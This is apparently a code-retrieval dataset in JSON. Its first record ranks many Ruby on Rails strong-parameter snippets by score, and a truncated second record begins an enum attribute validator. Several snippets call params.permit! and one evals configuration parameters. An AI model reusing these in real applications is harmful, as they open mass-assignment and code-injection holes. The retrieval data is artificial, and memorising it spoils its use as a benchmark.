[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.7942467", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "f6060519cb0c56a439976f0c978690db", "score": "0.6957796", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.68876916", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.67672765", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.67348766", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.6712409", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.6703982", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.66601187", "text": "def filtered_parameters; end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.6616093", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.6616082", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.65897983", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "fad8fcf4e70bf3589fbcbd40db4df5e2", "score": "0.65758616", "text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.65722454", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.6571319", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "f5e3a87909b3e5022047b4b0a64ca154", "score": "0.65325207", "text": "def parameter_params\n params.require(:parameter).permit(:name, :code, :description, :user_id, :value, :cargapp_model_id, :active)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.6513121", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "58d1451e57b0e767db2fc6721dfaa6be", "score": "0.6511856", "text": "def allowed_parameters\n parameters.keys\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.6499444", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "52d4c66cc205503f7ad6a4feaedab9b8", "score": "0.6491557", "text": "def parameter_params\n params.require(:parameter).permit(:name, :value, :description)\n end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.6489274", "text": "def need_params\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.64761955", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "e64490ed35123aafa1b4627bd165517d", "score": "0.64561033", "text": "def allowed_params\n [:title, :description, :is_template, :template_id, :user_id, :color]\n end", "title": "" }, { "docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff", "score": "0.64397305", "text": "def parameters\n params.permit(permitted_params)\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.6430499", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "8c384af787342792f0efc7911c3b2469", "score": "0.6424319", "text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.6421312", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.6421312", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.63792473", "text": "def filter_parameters; end", "title": "" }, { "docid": "6c4620f5d8fd3fe3641e0474aa7014b2", "score": "0.6372876", "text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.6354222", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.6354222", "text": "def check_params; true; end", "title": "" }, { "docid": "cac0774e508766d2f487cbca3db95df0", "score": "0.633526", "text": "def allow_params?\n definition[:param_tokens]\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.6318336", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "55aa899fab0dfa44916f71c499998ca8", "score": "0.63122594", "text": "def parameter_params\n params.require(:parameter).permit(:key, :value)\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.62935984", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.62935984", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "64ea65f903dbe0c9c0cc0e9a20ed2e7f", "score": "0.62906396", "text": "def good_option_params\n permit_params\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6289841", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6289841", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.62724966", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "572f75fa86537d103ddf7b5503f06515", "score": "0.6264814", "text": "def parameter_params\n params.require(:parameter).permit(:title)\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.62644076", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "2d2af8e22689ac0c0408bf4cb340d8c8", "score": "0.6262172", "text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end", "title": "" }, { "docid": "b4ac8bc6941a87425ac2dc42a226295f", "score": "0.6258202", "text": "def filtered_params_config; end", "title": "" }, { "docid": "d18a36785daed9387fd6d0042fafcd03", "score": "0.6243224", "text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end", "title": "" }, { "docid": "63944d10aa4cde014b8332874db87cb9", "score": "0.6236333", "text": "def excluded_from_filter_parameters=(_arg0); end", "title": "" }, { "docid": "6fc2bac4c842e4285d685333ba68e5e9", "score": "0.6226001", "text": "def admin_parameter_params\n params.require(:admin_parameter).permit(:name, :inss_hour_price, :private_hour_price, :is_eval)\n end", "title": "" }, { "docid": "67fe19aa3f1169678aa999df9f0f7e95", "score": "0.62259704", "text": "def list_params\n params.permit(:name)\n end", "title": "" }, { "docid": "d8b02fce801fc219417d86d0ca117836", "score": "0.6224632", "text": "def _valid_params\n valid_params # method private cause needed only for internal usage\n end", "title": "" }, { "docid": "d8b02fce801fc219417d86d0ca117836", "score": "0.6224632", "text": "def _valid_params\n valid_params # method private cause needed only for internal usage\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.6223243", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "6008e8707eafce375988b3c7ccf098c3", "score": "0.6214664", "text": "def original_params; end", "title": "" }, { "docid": "4ba8f5cdb0399571d60b7242794ce47f", "score": "0.6205155", "text": "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "title": "" }, { "docid": "356c5fd5dcbe9214f1330792fa2e18b5", "score": "0.61916316", "text": "def param_whitelist\n whitelist = [\n :name,\n :details,\n :completed,\n :started_at, :finished_at,\n :team_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:team_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "b977c2daceb28f26ee659336b2b98aa9", "score": "0.6187714", "text": "def params\n raise \"Override protected method `params'.\"\n end", "title": "" }, { "docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18", "score": "0.6180639", "text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end", "title": "" }, { "docid": "706df0e25391ed2b932f54a646bb0a10", "score": "0.617768", "text": "def list_name_param opts={}\n params.require(:list).permit(:name)\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.6175003", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "8e54eaded22dd280d836e96375fed9a4", "score": "0.61725116", "text": "def paramun_params\n params.require(:parametre).permit!\n end", "title": "" }, { "docid": "d3732ff42abd0a618a006d1f24e31e38", "score": "0.6171932", "text": "def add_to_filter_parameters; end", "title": "" }, { "docid": "19080b9212dc7ba3727f80cc9430e426", "score": "0.6171595", "text": "def special_params\n params.require(:special).permit(:name, :description, :function)\n end", "title": "" }, { "docid": "f8c05c05fb596260a51d3ab4fb42243d", "score": "0.617086", "text": "def required_parameters\n [ ]\n end", "title": "" }, { "docid": "3f5347ed890eed5ea86b70281803d375", "score": "0.61647916", "text": "def user_params\n params.permit!\n end", "title": "" }, { "docid": "b9e34b5ac2955add85639f9ca0a07b7f", "score": "0.6146159", "text": "def resource_params\n permits = resource_whitelist\n params.require(model_symbol).permit(permits)\n end", "title": "" }, { "docid": "3da9117a80cdfd040f0f0ed9d3ffed55", "score": "0.61457074", "text": "def allowable_params(unfiltered_params)\n unfiltered_params.permit(:property_id, :branch_id, :client_name, :branch_name,\n :department, :reference_number, :address_name, :address_number, :address_street,\n :address2, :address3, :address4, :address_postcode, :country, :display_address,\n :property_bedrooms, :property_bathrooms, :property_ensuites, :property_reception_rooms,\n :property_kitchens, :display_property_type, :property_type, :property_style,\n :property_age, :floor_area, :floor_area_units, :property_feature1, :property_feature2,\n :property_feature3, :property_feature4, :property_feature5, :property_feature6,\n :property_feature7, :property_feature8, :property_feature9, :property_feature10,\n :price, :for_sale_poa, :price_qualifier, :property_tenure, :sale_by,\n :development_opportunity, :investment_opportunity, :estimated_rental_income,\n :availability, :main_summary, :full_description, :date_last_modified,\n :featured_property, :region_id, :latitude, :longitude,\n flags_attributes: [:title],\n images_attributes: [:url, :modified],\n floorplans_attributes: [:url, :modified],\n epc_graphs_attributes: [:url, :modified],\n epc_front_pages_attributes: [:url, :modified],\n brochures_attributes: [:url, :modified],\n virtual_tours_attributes: [:url, :modified],\n external_links_attributes: [:url, :description, :modified])\n end", "title": "" }, { "docid": "d646c7ba579499db9edadb606c8b9910", "score": "0.6145564", "text": "def permitted_params\n logger.warn \"#{self}: please override `permitted_params` method.\"\n params.require(resource_request_name).permit!\n end", "title": "" }, { "docid": "4425e2f97b4355b14334b9744f19c412", "score": "0.61442393", "text": "def additional_permitted_params\n []\n end", "title": "" }, { "docid": "4425e2f97b4355b14334b9744f19c412", "score": "0.61442393", "text": "def additional_permitted_params\n []\n end", "title": "" }, { "docid": "9b76b3149ac8b2743f041d1af6b768b5", "score": "0.6136443", "text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end", "title": "" }, { "docid": "c4a951d3ba89c6d098a96d3d5a2b8643", "score": "0.6127557", "text": "def collection_permitted_params\n params.permit(:format, :page, :per_page, :sort, :include, :locale, fields: {}, filter: {})\n end", "title": "" }, { "docid": "13e3cfbfe510f765b5944667d772f453", "score": "0.6113483", "text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end", "title": "" }, { "docid": "34fb76d8decc10cd29ada824ff70ae63", "score": "0.6113349", "text": "def permitted_resource_params\n p params[object_name].present? ? params.require(object_name).permit! : ActionController::Parameters.new\n end", "title": "" }, { "docid": "9736586d5c470252911ec58107dff461", "score": "0.61066467", "text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end", "title": "" }, { "docid": "11f5f8959aba1f4022c60509f20e40af", "score": "0.6106564", "text": "def permit_params\n params[:permit]\n end", "title": "" }, { "docid": "45791845cef485d15b7014088dd0be8d", "score": "0.61021525", "text": "def allowed_params\n %i[title body]\n end", "title": "" }, { "docid": "4632c7949842c8534d66b50254032add", "score": "0.60930705", "text": "def parameterization_params\n params.permit(:name, :user_id, :number_value, :money_value)\n end", "title": "" }, { "docid": "bfa951108b69c8eed106b7ad8acbcbfd", "score": "0.60911876", "text": "def data_param\n params.permit(:value)\n end", "title": "" }, { "docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8", "score": "0.60889375", "text": "def filter_params\n end", "title": "" }, { "docid": "63f5e4e9733f9e6b3f98d5e069440292", "score": "0.6082671", "text": "def black_list_params\r\n params.require(:black_list).permit(:user)\r\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.608036", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.6078765", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "44a1ec524e77d2a2c4b85e8341df27db", "score": "0.60772806", "text": "def product_params\n params.permit(:visible)\n end", "title": "" }, { "docid": "07bc0e43e1cec1a821fb2598d6489bde", "score": "0.607517", "text": "def accept_no_params\n accept_params {}\n end", "title": "" }, { "docid": "c31ef48e8fd467d94158d7ac7f405a3f", "score": "0.6072068", "text": "def list_params\n params.permit(:id, :public_id, :name, :list, :visibility, values: [])\n end", "title": "" }, { "docid": "6bf3ed161b62498559a064aea569250a", "score": "0.60703045", "text": "def require_params\n return nil\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.6069817", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "a50ca4c82eaf086dcbcc9b485ebd4261", "score": "0.60681385", "text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end", "title": "" }, { "docid": "c1f13277dbc8ff3a9f65df027f9d915a", "score": "0.60628283", "text": "def permitted_params(unpermitted_params)\n unpermitted_params.permit(\n :controller,\n :action,\n :site_id,\n :format,\n :type,\n :path_contains,\n :new_url_contains,\n :tagged,\n )\n end", "title": "" }, { "docid": "cf963fb451b51d62fcc986deb020a044", "score": "0.6048212", "text": "def permit_params\n\t\t\t\teval(@configuration.get_params)\n\t\t\tend", "title": "" }, { "docid": "77b78ffc267fcf03379cf09c63ad361c", "score": "0.60394204", "text": "def gallery_params\n params.require(:gallery).permit(:name, :white_list)\n end", "title": "" }, { "docid": "be92e82ba93b35cac91b7c02d6a445f7", "score": "0.60340554", "text": "def get_params\r\n #params.require(:view_adm).permit(:name, :action_scope,:caps,:cols)\r\n params.require(:view_adm).permit!\r\n end", "title": "" }, { "docid": "8fa507ebc4288c14857ace21acf54c26", "score": "0.60298604", "text": "def strong_params\n # to dooo\n end", "title": "" }, { "docid": "5b72cb3f5ae45681ff116df46f5da01b", "score": "0.6026534", "text": "def provider_params\n params.permit(:name)\n end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60188377", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60188377", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60180086", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60180086", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60180086", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60180086", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60180086", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60180086", "text": "def params; end", "title": "" } ]
69beaa3e957d1fc356539d0314d703e1
Custom attribute writer method checking allowed values (enum).
[ { "docid": "0fb32b85121228c6aa3cf70a909e42a1", "score": "0.0", "text": "def frequency_unit=(frequency_unit)\n validator = EnumAttributeValidator.new('String', ['year', 'six_months', 'quarter', 'month', 'two_weeks', 'week'])\n unless validator.valid?(frequency_unit)\n fail ArgumentError, 'invalid value for \"frequency_unit\", must be one of #{validator.allowable_values}.'\n end\n @frequency_unit = frequency_unit\n end", "title": "" } ]
[ { "docid": "8146b840a980695b919bbb80892fcc0c", "score": "0.6161179", "text": "def valid?\n type_validator = EnumAttributeValidator.new('String', [\"GPA_CREDIT_PENDING\", \"GPA_CREDIT_PENDING_REVERSAL\", \"GPA_CREDIT_REVERSAL\", \"GPA_CREDIT\", \"GPA_DEBIT\", \"GPA_DEBIT_PENDING_REVERSAL\", \"GPA_DEBIT_REVERSAL\", \"GPA_GRANT\", \"GPA_CREDIT_NETWORK_LOAD\", \"GPA_CREDIT_NETWORK_LOAD_CLEARING\", \"GPA_CREDIT_NETWORK_LOAD_REVERSAL\", \"GPA_DEBIT_NETWORK_LOAD\", \"GPA_DEBIT_NETWORK_LOAD_CLEARING\", \"GPA_DEBIT_NETWORK_LOAD_REVERSAL\", \"ORIGINAL_CREDIT_AUTH\", \"ORIGINAL_CREDIT_AUTH_CLEARING\", \"ORIGINAL_CREDIT_AUTH_REVERSAL\", \"ORIGINAL_CREDIT_AUTH_CAPTURE\", \"ORIGINAL_CREDIT_AUTH_CAPTURE_REVERSAL\", \"GPA_CREDIT_ISSUER_OPERATOR\", \"GPA_DEBIT_ISSUER_OPERATOR\", \"GPA_DEBIT_AUTHORIZATION\", \"GPA_CREDIT_AUTHORIZATION\", \"GPA_CREDIT_AUTHORIZATION_REVERSAL\", \"GPA_CREDIT_CHARGEBACK\", \"GPA_CREDIT_CHARGEBACK_REVERSAL\", \"GPA_CREDIT_BILLPAYMENT\", \"GPA_CREDIT_AUTHORIZATION_BILLPAYMENT\", \"GPA_CREDIT_AUTHORIZATION_BILLPAYMENT_REVERSAL\", \"MSA_CREDIT_PENDING\", \"MSA_CREDIT_PENDING_REVERSAL\", \"MSA_CREDIT_REVERSAL\", \"MSA_CREDIT\", \"MSA_DEBIT_REVERSAL\", \"MSA_DEBIT_PENDING_REVERSAL\", \"MSA_DEBIT\", \"MSA_CREDIT_AUTHORIZATION\", \"MSA_CREDIT_AUTHORIZATION_REVERSAL\", \"MSA_CREDIT_CHARGEBACK\", \"MSA_CREDIT_CHARGEBACK_REVERSAL\", \"AUTHORIZATION\", \"AUTHORIZATION_INCREMENTAL\", \"AUTHORIZATION_ADVICE\", \"AUTHORIZATION_REVERSAL\", \"AUTHORIZATION_CASHBACK\", \"AUTHORIZATION_QUASI_CASH\", \"AUTHORIZATION_ATM_WITHDRAWAL\", \"AUTHORIZATION_CLEARING\", \"AUTHORIZATION_CLEARING_NETWORK_FEE\", \"AUTHORIZATION_CLEARING_REPRESENTMENT\", \"AUTHORIZATION_REVERSAL_ISSUER_EXPIRATION\", \"DISPUTE_CREDIT\", \"DISPUTE_DEBIT\", \"AUTHORIZATION_CLEARING_CHARGEBACK\", \"AUTHORIZATION_CLEARING_CHARGEBACK_REVERSAL\", \"AUTHORIZATION_CLEARING_CHARGEBACK_COMPLETED\", \"AUTHORIZATION_CLEARING_CHARGEBACK_PROVISIONAL_CREDIT\", \"AUTHORIZATION_CLEARING_CHARGEBACK_PROVISIONAL_DEBIT\", \"AUTHORIZATION_CLEARING_CHARGEBACK_WRITEOFF\", \"AUTHORIZATION_CLEARING_CASHBACK\", \"AUTHORIZATION_CLEARING_QUASI_CASH\", \"AUTHORIZATION_CLEARING_ATM_WITHDRAWAL\", \"ACCOUNT_FUNDING_AUTHORIZATION\", \"ACCOUNT_FUNDING_AUTHORIZATION_CLEARING\", \"ACCOUNT_FUNDING_PLUS_AUTH_CAPTURE\", \"ACCOUNT_FUNDING_AUTHORIZATION_REVERSAL\", \"ACCOUNT_FUNDING_PLUS_AUTH_CAPTURE_REVERSAL\", \"BALANCE_INQUIRY\", \"REFUND\", \"PIN_DEBIT_CREDIT_ADJUSTMENT\", \"PIN_DEBIT_DEBIT_ADJUSTMENT\", \"PIN_DEBIT_ATM_WITHDRAWAL\", \"PIN_DEBIT_QUASI_CASH\", \"PIN_DEBIT_BALANCE_INQUIRY\", \"PIN_DEBIT_CASHBACK\", \"PIN_DEBIT_CHECK_AVS\", \"PIN_DEBIT_FINANCIAL_DEPOSIT\", \"PIN_DEBIT_FINANCIAL_REFUND\", \"PIN_DEBIT_FINANCIAL_REVERSAL\", \"PIN_DEBIT_FINANCIAL_REFUND_REVERSAL\", \"PIN_DEBIT_TRANSFER\", \"PIN_DEBIT\", \"PIN_DEBIT_REPRESENTMENT\", \"PIN_DEBIT_AUTHORIZATION\", \"PIN_DEBIT_AUTHORIZATION_CLEARING\", \"PIN_DEBIT_AUTHORIZATION_REVERSAL\", \"PIN_DEBIT_AUTHORIZATION_REVERSAL_ISSUER_EXPIRATION\", \"PIN_DEBIT_CHARGEBACK\", \"PIN_DEBIT_CHARGEBACK_REVERSAL\", \"PIN_DEBIT_CHARGEBACK_COMPLETED\", \"PIN_DEBIT_CHARGEBACK_PROVISIONAL_CREDIT\", \"PIN_DEBIT_CHARGEBACK_PROVISIONAL_DEBIT\", \"PIN_DEBIT_CHARGEBACK_WRITEOFF\", \"DIRECT_DEPOSIT_CREDIT\", \"DIRECT_DEPOSIT_DEBIT\", \"DIRECT_DEPOSIT_CREDIT_PENDING\", \"DIRECT_DEPOSIT_DEBIT_PENDING\", \"DIRECT_DEPOSIT_CREDIT_REJECT\", \"DIRECT_DEPOSIT_DEBIT_REJECT\", \"DIRECT_DEPOSIT_CREDIT_PENDING_REVERSAL\", \"DIRECT_DEPOSIT_DEBIT_PENDING_REVERSAL\", \"DIRECT_DEPOSIT_CREDIT_REVERSAL\", \"DIRECT_DEPOSIT_DEBIT_REVERSAL\", \"FEE_CHARGE_PENDING\", \"FEE_CHARGE\", \"FEE_CHARGE_REFUND\", \"FUNDS_EXPIRE\", \"PROGRAMRESERVE_CREDIT\", \"PROGRAMRESERVE_DEBIT\", \"REWARD_EARN\", \"TRANSFER_PEER\", \"TRANSFER_FEE\", \"ACCOUNT_CREDIT\", \"ACCOUNT_DEBIT\", \"TRANSFER_PROGRAM\", \"AUTHORIZATION_STANDIN\", \"PIN_DEBIT_STANDIN\", \"TOKEN_ACTIVATION_REQUEST\", \"TOKEN_ADVICE\", \"PTC_DEBIT\", \"PTC_PENDING_DB\", \"PTC_DB_REV\", \"BILLPAYMENT\", \"BILLPAYMENT_CLEARING\", \"BILLPAYMENT_REVERSAL\", \"RETURN_AUTHORIZATION\", \"RETURN_AUTHORIZATION_CLEARING\", \"RETURN_AUTHORIZATION_REVERSAL\", \"ACH_PUSH_PENDING\", \"ACH_PULL_PENDING\", \"ACH_PUSH\", \"ACH_PULL\", \"UNKNOWN\"])\n return false unless type_validator.valid?(@type)\n state_validator = EnumAttributeValidator.new('String', [\"PENDING\", \"CLEARED\", \"COMPLETION\", \"DECLINED\", \"ERROR\", \"ALL\"])\n return false unless state_validator.valid?(@state)\n true\n end", "title": "" }, { "docid": "6b0b457cb8436385a5e9979b4ce7a15c", "score": "0.61435664", "text": "def enum(allowed_values)\n allowed_values = allowed_values.to_a if allowed_values.is_a? Set\n assert_array allowed_values, minimum: 1, unique: true\n set enum: allowed_values\n end", "title": "" }, { "docid": "d9dcaa35507d9793fd3b833edd3f91e1", "score": "0.61418885", "text": "def valid?\n type_validator = EnumAttributeValidator.new('String', ['Appear', 'CurveUpDown', 'Ascend', 'Blast', 'Blinds', 'Blink', 'BoldFlash', 'BoldReveal', 'Boomerang', 'Bounce', 'Box', 'BrushOnColor', 'BrushOnUnderline', 'CenterRevolve', 'ChangeFillColor', 'ChangeFont', 'ChangeFontColor', 'ChangeFontSize', 'ChangeFontStyle', 'ChangeLineColor', 'Checkerboard', 'Circle', 'ColorBlend', 'ColorTypewriter', 'ColorWave', 'ComplementaryColor', 'ComplementaryColor2', 'Compress', 'ContrastingColor', 'Crawl', 'Credits', 'Custom', 'Darken', 'Desaturate', 'Descend', 'Diamond', 'Dissolve', 'EaseInOut', 'Expand', 'Fade', 'FadedSwivel', 'FadedZoom', 'FlashBulb', 'FlashOnce', 'Flicker', 'Flip', 'Float', 'Fly', 'Fold', 'Glide', 'GrowAndTurn', 'GrowShrink', 'GrowWithColor', 'Lighten', 'LightSpeed', 'MediaPause', 'MediaPlay', 'MediaStop', 'Path4PointStar', 'Path5PointStar', 'Path6PointStar', 'Path8PointStar', 'PathArcDown', 'PathArcLeft', 'PathArcRight', 'PathArcUp', 'PathBean', 'PathBounceLeft', 'PathBounceRight', 'PathBuzzsaw', 'PathCircle', 'PathCrescentMoon', 'PathCurvedSquare', 'PathCurvedX', 'PathCurvyLeft', 'PathCurvyRight', 'PathCurvyStar', 'PathDecayingWave', 'PathDiagonalDownRight', 'PathDiagonalUpRight', 'PathDiamond', 'PathDown', 'PathEqualTriangle', 'PathFigure8Four', 'PathFootball', 'PathFunnel', 'PathHeart', 'PathHeartbeat', 'PathHexagon', 'PathHorizontalFigure8', 'PathInvertedSquare', 'PathInvertedTriangle', 'PathLeft', 'PathLoopdeLoop', 'PathNeutron', 'PathOctagon', 'PathParallelogram', 'PathPeanut', 'PathPentagon', 'PathPlus', 'PathPointyStar', 'PathRight', 'PathRightTriangle', 'PathSCurve1', 'PathSCurve2', 'PathSineWave', 'PathSpiralLeft', 'PathSpiralRight', 'PathSpring', 'PathSquare', 'PathStairsDown', 'PathSwoosh', 'PathTeardrop', 'PathTrapezoid', 'PathTurnDown', 'PathTurnRight', 'PathTurnUp', 'PathTurnUpRight', 'PathUp', 'PathUser', 'PathVerticalFigure8', 'PathWave', 'PathZigzag', 'Peek', 'Pinwheel', 'Plus', 'RandomBars', 'RandomEffects', 'RiseUp', 'Shimmer', 'Sling', 'Spin', 'Spinner', 'Spiral', 'Split', 'Stretch', 'Strips', 'StyleEmphasis', 'Swish', 'Swivel', 'Teeter', 'Thread', 'Transparency', 'Unfold', 'VerticalGrow', 'Wave', 'Wedge', 'Wheel', 'Whip', 'Wipe', 'Magnify', 'Zoom', 'OLEObjectShow', 'OLEObjectEdit', 'OLEObjectOpen'])\n return false unless type_validator.valid?(@type)\n subtype_validator = EnumAttributeValidator.new('String', ['None', 'Across', 'Bottom', 'BottomLeft', 'BottomRight', 'Center', 'Clockwise', 'CounterClockwise', 'GradualAndCycleClockwise', 'GradualAndCycleCounterClockwise', 'Down', 'DownLeft', 'DownRight', 'FontAllCaps', 'FontBold', 'FontItalic', 'FontShadow', 'FontStrikethrough', 'FontUnderline', 'Gradual', 'Horizontal', 'HorizontalIn', 'HorizontalOut', 'In', 'InBottom', 'InCenter', 'InSlightly', 'Instant', 'Left', 'OrdinalMask', 'Out', 'OutBottom', 'OutCenter', 'OutSlightly', 'Right', 